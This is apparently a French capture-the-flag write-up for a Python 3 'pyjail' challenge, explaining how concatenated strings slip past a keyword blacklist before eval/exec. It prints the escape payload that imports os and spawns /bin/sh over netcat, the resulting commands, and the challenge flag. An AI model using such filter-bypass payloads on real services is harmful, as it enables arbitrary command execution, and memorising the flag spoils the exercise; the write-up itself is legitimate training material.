Pyjail

Catégorie: Système Difficulté: - Flag: CTFREI{pyj41l5_my_b4l0v3d}

Challenge

file-archive
526B
archive
circle-info

Description


Après la petite introduction en python2, passons aux vraies choses avec du python3 !

Le flag est situé dans flag.txt

Aide: python3 (pour tester en local), Google

nc intro.ctfrei.fr 4451

circle-exclamation

Solution

Notre entrée passe par la fonction eval puis exec, mais la vérification est faite avant. On peut donc entrer une chaîne de caractères que l'on va couper à différents endroits pour éviter les mots interdis, mais de façon à ce que eval reconstitue le vrai code à exécuter.

$ ncat intro.ctfrei.fr 4451
>>> "__import__('o'+'s').sy"+"stem('/bin/sh')"

ls -al
total 20
drwxr-xr-x 1 nobody nogroup 4096 Sep 29 11:37 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 29 11:37 ..
-r--r--r-- 1 nobody nogroup   26 Sep 23 22:31 flag.txt
-rwxr-xr-x 1 nobody nogroup  582 Sep 26 15:42 run

cat flag.txt
CTFREI{pyj41l5_my_b4l0v3d}

Mis à jour